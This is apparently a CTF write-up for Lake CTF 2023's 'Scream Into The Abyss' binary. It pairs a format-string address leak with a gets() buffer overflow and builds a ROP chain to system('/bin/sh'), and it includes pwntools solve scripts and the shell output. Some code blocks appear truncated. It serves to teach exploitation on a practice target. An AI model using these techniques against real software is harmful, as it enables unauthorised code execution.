Skip to content

64 bits ROP & PIE leak via format string


The exploit targets a buffer overflow and format string vulnerability in save_msg. Using the format string flaw, it leaks addresses to aid in ROP chain execution. This chain then runs system("/bin/sh") to access a flag on the filesystem.


Challenge: Scream Into The Abyss from Lake CTF 2023.

Try screaming into the abyss, maybe you'll get an probably won't though :/

  • nc 9001
  • abyss_scream
  • Dockerfile


General information about the binary:

$ file abyss_scream
abyss_scream: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=6c2ca64b1a2dc7e4f1321e4e3010ee7226d5d86d, for GNU/Linux 3.2.0, not stripped

$ pwn checksec abyss_scream
[*] '.../abyss_scream'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Source code of main:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
  char input_chr;
  unsigned int i;

  i = 0;
  printf("Scream into the abyss and see how long it takes for you to get a response ;)");
  while ( 1 )
    printf("Current iteration: %d\n", i);
    printf("Enter input: ");
    input_chr = getchar();
    if ( input_chr == 'x' )
      i = 0;

Source code of save_msg:

int __fastcall save_msg(unsigned int i)
  char format[264];
  const char *addr_heap_buffer;

  addr_heap_buffer = (const char *)calloc(8uLL, 1uLL);
  printf("You can now scream a longer message but before you do so, we'll take your name: ");
  printf("Saved score of %d for %s. Date and Time: ", i, addr_heap_buffer);
  system("date");               // system is used
  printf("Now please add a message: ");
  gets(format);                 // <---- Buffer overflow
  puts("Your message:");
  printf(format);               // <---- Format string
  return fflush(_bss_start);

There are two vulnerabilities within the save_msg function: a buffer overflow and a format string vulnerability. The goal is to exploit these vulnerabilities to execute system("/bin/sh") and read the flag on the file system.

1. Address Leakage using the Format String Vulnerability:

With PIE enabled, the format string vulnerability can be leveraged to leak both the base address of the binary (by revealing the address of main) and the address of addr_heap_buffer. Importantly, this latter variable stores the string /bin/sh\x00.

2. Offset Calculation:

Next, the PIE offset is computed by subtracting the actual runtime address of main from its symbol address within the binary. This offset allows for find the locations of system@plt and the two essential pop gadgets within the binary.

3. ROP Chain Execution:

In conclusion, the ROP chain is executed, thanks to the buffer overflow, by utilizing both the ret (for stack alignment) and pop rdi gadgets. This sets the first argument of the system function with the address of /bin/sh. Subsequently, the system function is invoked.

The Python script below determines the format string offset of addr_heap_buffer by looking for the value AAAABBBB in the stack. The same technique is employed to locate the address of main in the stack. This is done by leaking pointers using %i$p and comparing the leaked address to the main function's address during runtime.

  • %36$p: Address of main.
  • %41$p: Address of addr_heap_buffer.
from pwn import *

def send_payload(payload, name):
    p.recvuntil(b"input: ")
    p.recvuntil(b"name: ")
    p.recvuntil(b"message: ")

data = b""
i = 0
to_find = b"AAAABBBB"
while to_find not in data:
        with context.local(log_level="error"):
            p = process("./abyss_scream")
            send_payload(f"%{i}$s".encode(), name=to_find)
            p.recvuntil(b"Your message:\n")
            data = p.recvuntil(b"\n")
            print(i, data)
    except EOFError:

    i += 1

37 b'\xf9 L\x13\xfe\x7f\n'
38 b'\xd0\xd2\xb2\x0b8\x7f\n'
39 b'\x83\xf8\xfft\x0fH\x8bC\x08H\x8dP\x01H\x89S\x08\x0f\xb6\n'
40 b'\xea0\x9d\xe2\xff\x7f\n'
41 b'AAAABBBB\n'

There is the final solve script that executes the final ROP chains with all the required addreses.

Solve script:

from pwn import *

context.binary = ELF("./abyss_scream_patched")
# p = process("./abyss_scream_patched")
p = remote("", 9001)

def send_payload(payload, name=b"AAAA"):
    p.recvuntil(b"input: ")
    p.recvuntil(b"name: ")
    p.recvuntil(b"message: ")

def get_main_address():
    p.recvuntil(b"Your message:\n")
    data = p.recvuntil(b"\n")
    return int(data, 16)

def get_bin_sh_address():
    send_payload(b"%41$p", name=b"/bin/sh\x00")
    p.recvuntil(b"Your message:\n")
    data = p.recvuntil(b"\n")
    return int(data, 16)

$ rp -f abyss_scream_patched --rop 1 | grep rdi
0x13b5: pop rdi ; ret ; (1 found)
$ rp -f abyss_scream_patched --rop 1 | grep ret
0x101a: ret ; (1 found)
POP_RDI = 0x13b5
RET = 0x101a

print("main (symbols) @", context.binary.symbols["main"])
main_addr = get_main_address()
print("main (PIE) @", main_addr)
pie_offset = main_addr - context.binary.symbols["main"]
print("PIE offset @", hex(pie_offset))
pop_rdi = POP_RDI + pie_offset
ret = RET + pie_offset
print("pop rdi @", hex(pop_rdi))
system_plt = context.binary.plt["system"]
system = system_plt + pie_offset
print("system @", hex(system))
bin_sh = get_bin_sh_address()
print("/bin/sh @", hex(bin_sh))

payload = BOF_OFFSET * b"A" + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)



$ python3
[+] Opening connection to on port 9001: Done
main (symbols) @ 4894
main (PIE) @ 94022437991198
PIE offset @ 0x55834e046000
pop rdi @ 0x55834e0473b5
system @ 0x55834e0470c4
/bin/sh @ 0x55834e9af2e0
[*] Switching to interactive mode
Your message:
$ id
uid=1000(jail) gid=1000(jail) groups=1000(jail)
$ ls
$ cat flag.txt